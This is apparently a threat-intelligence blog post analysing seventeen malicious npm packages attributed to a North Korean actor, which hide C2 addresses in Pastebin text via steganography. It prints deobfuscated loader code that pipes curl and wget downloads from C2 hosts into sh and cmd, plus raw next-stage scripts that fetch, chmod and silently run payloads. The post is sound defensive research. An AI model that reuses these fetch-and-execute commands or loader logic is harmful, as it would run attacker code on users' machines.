kmsec.uk

(mainly) a security blog


Novel DPRK stager using Pastebin and text steganography

javascriptmalwarenpmdprk

This is a quick one as FAMOUS CHOLLIMA has been keeping me busy this week by testing Google Drive as a stager and my longer write-up on tracking their IP addresses through temporary mailboxes. I just cannot help writing about this one as it’s really fun — it also helps that having a sleeping baby strapped to the chest for three hours makes for idle hands, and you know what they say about idle hands!

Summary

  • Seventeen recent npm malware packages use Pastebin and a custom text steganography component as a dead-drop resolver
  • This signals further recent and rapid testing and development by FAMOUS CHOLLIMA
  • This post contains tactical IOCs and brief hunting guidelines

From 25-26 February 2026 my continuous scanner that supports my DPRK tracking on npm identified seventeen new packages that contained novel loader logic.

All seventeen packages contain an identical malicious JavaScript file at vendor/scrypt-js/version.js.

sha256 da1775d0fbe99fbc35b6f0b4a3a3cb84da3ca1b2c1bbac0842317f6f804e30a4 view raw sample — it’s highly obfuscated, my analysis is further below.

DatePackagenpm user
2026-02-26 10:35:55daytonjs v1.11.20 (download)christopher.smith.hal47 (christopher.smith.hal47[@]gmail.com)
2026-02-26 10:33:00corstoken v2.14.7 (download)christopher.smith.hj47 (christopher.smith.hj47[@]gmail.com)
2026-02-26 10:28:26jsnwebapptoken v8.40.2 (download)christopher.smith.ye47 (christopher.smith.ye47[@]gmail.com)
2026-02-26 10:25:49iosysredis v5.13.2 (download)christopher.smith471014 (christopher.smith471014[@]gmail.com)
2026-02-26 10:16:52sequelization v6.40.2 (download)hello.mr.jr29 (hello.mr.jr29[@]gmail.com)
2026-02-26 10:09:45undicy-lint v7.23.1 (download)patrick.sullivan1896 (patrick.sullivan1896[@]gmail.com)
2026-02-26 10:05:58expressjs-lint v5.3.2 (download)veryanthony00 (veryanthony00[@]gmail.com)
2026-02-25 22:31:13loadash-lint v4.17.24 (download)charles.cm.morgan (charles.cm.morgan[@]gmail.com)
2026-02-25 22:26:36promanage v6.0.21 (download)andrew.ddn.walker (andrew.ddn.walker[@]gmail.com)
2026-02-25 22:21:37vitetest-lint v4.1.21 (download)andrew.dea.walker00 (andrew.dea.walker00[@]gmail.com)
2026-02-25 22:13:14prism-lint v7.4.2 (download)stefan.matic.topdev00 (stefan.matic.topdev00[@]gmail.com)
2026-02-25 22:07:50fastify-lint v5.8.0 (download)andrew.dn.walker00 (andrew.dn.walker00[@]gmail.com)
2026-02-25 22:03:16typoriem v0.4.17 (download)andrew.d.walker00 (andrew.d.walker00[@]gmail.com)
2026-02-25 21:51:56argonist v0.41.0 (download)andrew.dean.walker00 (andrew.dean.walker00[@]gmail.com)
2026-02-25 21:46:19uuindex v13.1.0 (download)andrewdeanwalker007 (andrewdeanwalker007[@]gmail.com)
2026-02-25 21:37:45bcryptance v6.5.2 (download)needlesstosay (needlesstosay0o0o0[@]gmail.com)
2026-02-25 19:38:58ether-lint v5.9.4 (download)maheshkya (whereisandrew2[@]gmail.com)

Analysis

These packages contain an install script: "node ./scripts/test/install.js". The presence of an install script overrides default npm installation behaviour and this command will run upon package installation.

This initial install.js is just a step of misdirection and simply imports and executes the malicious payload at vendor/scrypt-js/version.js.

version.js contains three hardcoded pastebin references (in the following order):

Pastebin linkLast edit datePastebin userViewsView my mirror/backup
hxxps://pastebin[.]com/CJ5PrtNkWednesday 11th of February 2026 03:47:40 PM CDTdavidsouza23353CJ5PrtNk
hxxps://pastebin[.]com/0ec7i68MWednesday 11th of February 2026 03:41:28 PM CDTEdgar04231150ec7i68M
hxxps://pastebin[.]com/DjDCxcsTWednesday 11th of February 2026 03:43:37 PM CDTEdgar0423119DjDCxcsT

There is a loop to fetch and decode these payloads, however if the paste is formatted correctly (more on this below), the loop will break and no further URLs are processed. Effectively the second two act as fallbacks, explaining the discrepancy between “views” in the table above.

Comment

It is highly likely that a large portion of the “views” of paste CJ5PrtNk represents victims that have run this flavour of malware.

These pastes are ostensibly benign at first view, however there are minor inexplicable typos in the text:

One of the pastes viewed on Pastebin. Looks benign to me!
One of the pastes viewed on Pastebin. Looks benign to me!

After fetching the raw Pastebin content, the malware uses a custom decoder to extract specific characters from the text into an array of C2 URLs.

As the original implementation is obfuscated, I asked Gemini to rename variables, add type annotations, and comment on functionality. The result is available to view on Typescript Play, where you can safely run it yourself to see the decoded C2 addresses as shown below:

Running the complex decoder on one of the Pastebin samples
Running the complex decoder on one of the Pastebin samples

All three pastes decode into the same payload array:

ext-checkdin[.]vercel[.]app
cleverstack-ext301[.]vercel[.]app
cleverstack-app998[.]vercel[.]app
brightlaunch-ext742[.]vercel[.]app
brightlaunch-app615[.]vercel[.]app
primevector-ext483[.]vercel[.]app
primevector-app920[.]vercel[.]app
zenithflow-ext156[.]vercel[.]app
zenithflow-app877[.]vercel[.]app
cloudharbor-ext664[.]vercel[.]app
cloudharbor-app239[.]vercel[.]app
sparkforge-ext518[.]vercel[.]app
sparkforge-app790[.]vercel[.]app
logicfield-ext432[.]vercel[.]app
logicfield-app681[.]vercel[.]app
atlasnode-ext957[.]vercel[.]app
atlasnode-app204[.]vercel[.]app
signalbase-ext369[.]vercel[.]app
signalbase-app845[.]vercel[.]app
neuraldock-ext126[.]vercel[.]app
neuraldock-app734[.]vercel[.]app
orbitstack-ext592[.]vercel[.]app
orbitstack-app318[.]vercel[.]app
fusionlayer-ext807[.]vercel[.]app
fusionlayer-app463[.]vercel[.]app
quantapath-ext275[.]vercel[.]app
quantapath-app914[.]vercel[.]app
visiondock-ext648[.]vercel[.]app
visiondock-app157[.]vercel[.]app
openmatrix-ext539[.]vercel[.]app
openmatrix-app882[.]vercel[.]app

Next, the malware visits each of the domains in the array and retrieves a platform-specific payload to execute in the victim’s shell. This is similar to FAMOUS CHOLLIMA’s abuse of VS Code Tasks documented in Open Source Malware’s blog post,

Below is a Gemini-assisted rewrite and annotation of the payload-retrieval logic observed in this sample (thanks for the safety warnings Gemini!).

executeRemotePayload function is called checkUrl in the original obfuscated content, if you’d like to cross-reference:

/**
 * WARNING: This function is a malicious Remote Code Execution (RCE) trigger.
 * It downloads and executes arbitrary code from a remote server based on the OS.
 * * @param c2Host - The domain or IP of the Command & Control server.
 */
async function executeRemotePayload(c2Host: string): Promise<{ url: string; working: boolean } | void> {
  try {
    const platform = os.platform();
    let shellPath: string;
    let shellArgs: string[];

    if (platform === "darwin") {
      // macOS: Downloads from /api/m and pipes directly into bash
      shellPath = "bash";
      shellArgs = ["-c", `curl -s 'https://${c2Host}/api/m' | sh`];
    } 
    else if (platform === "linux") {
      // Linux: Downloads from /api/l via wget and pipes into bash
      shellPath = "bash";
      shellArgs = ["-c", `wget -qO- 'https://${c2Host}/api/l' | sh`];
    } 
    else if (platform === "win32") {
      // Windows: Downloads from /api/w via curl and pipes into cmd.exe
      shellPath = "cmd.exe";
      shellArgs = ["/c", `curl -s https://${c2Host}/api/w | cmd`];
    } 
    else {
      // Fallback for unsupported OS (e.g., FreeBSD, AIX)
      return {
        url: c2Host,
        working: false
      };
    }

    /**
     * Executes the command silently.
     * stdio: "ignore" ensures no output appears in the console, 
     * making the execution invisible to the user.
     */
    spawn(shellPath, shellArgs, {
      stdio: "ignore",
      detached: true // Often added in malware to keep the process alive if the parent dies
    });

  } catch (error) {
    // Silent fail to avoid alerting the user if there's a network/permission error
  }
}
Note

Only the first domain (ext-checkdin.vercel[.]app) actually returns a status 200.

All subsequent domains return a 404 The deployment could not be found on Vercel.

That said, this long list acts as a fallback. If ext-checkdin.vercel[.]app gets taken down, FAMOUS CHOLLIMA can simply stand up a deployment at the other sites and the infection chain remains working.

Additionally, if the user-agent is not curl, the deployment at ext-checkdin.vercel[.]app responds with a status 200 but with the raw content Permanently suspended (response hash accf04ad3228a22532d2f5802a5b0c379c3616564c4766fc1f1ca20dac8dba07).

Next stage

This post is getting long, so I’ll just paste the next-stagers for each platform (as per the path URI at ext-checkdin.vercel[.]app). Follow-on research is left to the reader. I’m tired!

path: /api/l (Linux)
======
response hash: 869c327b8dc757fa126cd281bc4a14d809c50e9a792954442c55cea5b46912ec
======
raw payload:

#!/bin/bash
set -e
echo "Authenticated"
TARGET_DIR="$HOME/.config"
clear
wget -q -O "$TARGET_DIR/tokenlinux.npl" "http://ext-checkdin.vercel.app/api/tokenl?st=eXVCQi90UlVBMkF0MkpOd09jY1hJdz09OlAvcFZYajB5dG1QbUczTm16ZFVoQUhIcFVjL3ZOUFYxQlBRZEw1emp5K2gvTnE1VmFEamFQaG4zVEdwNDJSRVdoRm1zTEVXbitjSlBMWnd2blp1ZWFJcWhjNnZicWMwUVNGUTZWUndrb0pnWVRmbnRJcVJrcXM5NUtQRllGNCtNeThZZEQxQjY1T3M3a1hwbXhpMWdtRjhnclZkOXhwT0J6d0RHbjdrSXY3UT0"
clear
mv "$TARGET_DIR/tokenlinux.npl" "$TARGET_DIR/tokenlinux.sh"
clear
chmod +x "$TARGET_DIR/tokenlinux.sh"
clear
nohup bash "$TARGET_DIR/tokenlinux.sh" > /dev/null 2>&1 &
clear

    
path: /api/m (MacOS)
======
response hash: bce0da6547ae74f97e2bb61672a3e159b837acf01f7c68a813ea75c3835ff303
======
raw payload:

    #!/bin/bash
set -e
echo "Authenticated"
mkdir -p "$HOME/Library"
clear
curl -s -L -o "$HOME/Library/tokenlinux.sh" "http://ext-checkdin.vercel.app/api/tokenl?&st=Z09RcS80UmR0VzdpTUh0Q055Y3ZIQT09OnpadVJXRElOV0o0TkFxbDRneFAwRHVzbnU5SVJLUURTcjUvcnBiY0o3MG42L1pCM3lmdjFVMk0zdkhjdGg1QkV4bzZJMkNmQStCejY3bEd4b1NRQnZEQkE2RXhVL1FkZjJDWUdzNGJNVVQ4UVZVc0JMZklTa1pzaFR0T0pSVnVSVXFHRnR2WGNuMUlVV2RtdlpRcXlyN2JWWTBwYzFCTEpkRVJnSFdCdW5Hdz0"
clear
chmod +x "$HOME/Library/tokenlinux.sh"
clear
nohup bash "$HOME/Library/tokenlinux.sh" > /dev/null 2>&1 &
clear

    
path: /api/w (Windows)
======
response hash: e361d2859ba2eb2540bf6fb12db0b9857ef610bb9920830921e986d4b9109e89
======
raw payload:

    ::@echo off
if exist "%APPDATA%\parse" del "%APPDATA%\parse"
if exist "%APPDATA%\token.cmd" del "%APPDATA%\token.cmd"
if exist "%APPDATA%\.sv" del "%APPDATA%\.sv"
curl -s -L -o "%APPDATA%//parse" "http://ext-checkdin.vercel.app/api/tokenw?st=eTExbGRFdENlUlVWbTRyS2ZlMXFuQT09OmpJb0RRWktvV2wzaVRSNWZ4RzVqV1AwM0w2L3ZiZ1ltS1MvZ2E4aGQ1dFlYQmxjeHd3VmdSMkRVRTExL21VZS94aGl1MFBHWDRqSDdicTZMRHYrSWFaRDh6N3Zmcis4VXFybzRXNzU4blVYalNJUnRQVzEyZUJDZlJQdCtYajVBOUxXbnVLaVJuNnlNWXd3bDMvTnlRQWhDVEZDSDhreXdvdEpuVG9TVkpOZz0"
ren "%APPDATA%\parse" token.cmd
"%APPDATA%\token.cmd"
::cls

Hunting guidelines

I’ll keep this short and sweet:

Assessment

With two distinct novel loader techniques observed in a single week, this marks an unusually rapid pace of development by FAMOUS CHOLLIMA. It is likely they will continue to iterate and test various infection methodologies simultaneously in the short term.

← Back to Blog